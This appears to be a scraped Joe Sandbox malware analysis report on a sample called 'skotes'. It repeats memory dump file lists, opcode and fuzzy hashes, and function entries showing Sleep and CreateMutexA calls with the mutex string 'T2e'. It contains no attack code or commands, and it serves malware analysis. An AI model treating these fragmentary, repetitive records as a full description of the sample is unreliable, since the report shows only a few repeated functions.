Memory Dump Source

Source File: 00000004.00000002.2262880807.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000004.00000002.2262854107.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262880807.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262954749.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262980082.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263002305.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263119495.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263142006.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263222375.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263245721.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263271215.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263298361.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263327529.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263349333.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263373152.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263397081.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263419462.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263442368.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263465463.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263487583.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263508789.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263534147.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263556940.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263580393.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263604491.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263626599.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263655080.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263678518.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263700925.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263724609.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263753280.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263774850.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263800650.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263883332.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263908121.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263931811.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263965502.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263988335.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264016680.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264057290.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 75cadb273c01308a687e126c30cd236c791913b2fbeb1eff3b018e047982ba68
Instruction ID: 273a24a5d7ad9b5c3a9a055c10cf8453d8ba1d60876f0bb29aec8b44591e0c92
Opcode Fuzzy Hash: 75cadb273c01308a687e126c30cd236c791913b2fbeb1eff3b018e047982ba68
Instruction Fuzzy Hash: ED312A717402049BEB08DB78DDC9BBEBB76FB85314F204618E118973D6C77A59808767

Function 005FA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000004.00000002.2262880807.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000004.00000002.2262854107.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262880807.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262954749.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262980082.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263002305.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263119495.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263142006.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263222375.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263245721.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263271215.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263298361.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263327529.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263349333.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263373152.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263397081.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263419462.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263442368.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263465463.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263487583.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263508789.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263534147.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263556940.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263580393.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263604491.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263626599.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263655080.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263678518.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263700925.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263724609.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263753280.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263774850.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263800650.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263883332.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263908121.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263931811.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263965502.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263988335.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264016680.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264057290.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 4ed1772bc0023233f894959f23483c1cbd6bbd45f35f54e855b5d3c8c42eeecd
Instruction ID: 4a7d4f3428951f4865284406c0d4590b0f26db231f442a75ff7539ec91ee6136
Opcode Fuzzy Hash: 4ed1772bc0023233f894959f23483c1cbd6bbd45f35f54e855b5d3c8c42eeecd
Instruction Fuzzy Hash: CD313B717402049BEB08EB78D98DB7EBB66FFC1314F204218E1589B3D6DBB959808767

Function 005FA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000004.00000002.2262880807.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000004.00000002.2262854107.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262880807.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262954749.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262980082.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263002305.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263119495.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263142006.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263222375.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263245721.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263271215.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263298361.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263327529.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263349333.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263373152.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263397081.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263419462.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263442368.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263465463.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263487583.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263508789.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263534147.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263556940.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263580393.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263604491.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263626599.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263655080.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263678518.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263700925.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263724609.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263753280.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263774850.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263800650.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263883332.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263908121.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263931811.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263965502.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263988335.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264016680.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264057290.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 29aaa640f67b6d1a9d1e2a30a624f5a17f29a8b1b86aa0161e928b98a7ae91ad
Instruction ID: d8d3171bf97df5b89cd04c5e25ee29bcddd62ec144d19e899743b3a2c383393e
Opcode Fuzzy Hash: 29aaa640f67b6d1a9d1e2a30a624f5a17f29a8b1b86aa0161e928b98a7ae91ad
Instruction Fuzzy Hash: 3E3159717001088BEB08DB78DC89B7DBB62FBC5318F248618E5489B3D6CB7999808767

Function 005FA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000004.00000002.2262880807.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000004.00000002.2262854107.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262880807.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262954749.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262980082.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263002305.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263119495.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263142006.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263222375.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263245721.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263271215.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263298361.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263327529.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263349333.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263373152.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263397081.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263419462.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263442368.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263465463.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263487583.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263508789.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263534147.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263556940.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263580393.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263604491.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263626599.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263655080.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263678518.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263700925.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263724609.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263753280.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263774850.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263800650.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263883332.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263908121.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263931811.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263965502.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263988335.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264016680.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264057290.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 69fed5cde651a1d8a017c1175b658eb3ca1ebaf7a22bea035aa3f908f1451cc3
Instruction ID: 0701438370ef5393441844410f051177e134103ca8c575670536b7d692d25952
Opcode Fuzzy Hash: 69fed5cde651a1d8a017c1175b658eb3ca1ebaf7a22bea035aa3f908f1451cc3
Instruction Fuzzy Hash: E4312AB17002088BEB08EB78DD85B7EBB72EB85314F248618E519DB3D6C77959808767

Function 005FA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000004.00000002.2262880807.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000004.00000002.2262854107.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262880807.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262954749.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262980082.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263002305.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263119495.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263142006.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263222375.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263245721.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263271215.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263298361.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263327529.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263349333.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263373152.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263397081.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263419462.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263442368.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263465463.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263487583.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263508789.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263534147.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263556940.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263580393.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263604491.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263626599.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263655080.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263678518.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263700925.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263724609.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263753280.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263774850.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263800650.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263883332.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263908121.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263931811.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263965502.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263988335.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264016680.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264057290.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 982eb52936e38f3e18a2a872781dd03c032cd00cc915ad514a4dde62ad88cd8a
Instruction ID: 3529464015b76a52d82c5ba926a13ed726692e28fc7d55e84f386064ee01e14e
Opcode Fuzzy Hash: 982eb52936e38f3e18a2a872781dd03c032cd00cc915ad514a4dde62ad88cd8a
Instruction Fuzzy Hash: 81212DB134420A9AE71467A8988A77EBF53FFC5744F240816E74CD72D2CABD454141A3

Function 005FA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000004.00000002.2262880807.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000004.00000002.2262854107.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262880807.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262954749.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262980082.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263002305.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263119495.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263142006.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263222375.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263245721.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263271215.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263298361.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263327529.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263349333.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263373152.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263397081.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263419462.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263442368.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263465463.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263487583.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263508789.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263534147.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263556940.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263580393.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263604491.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
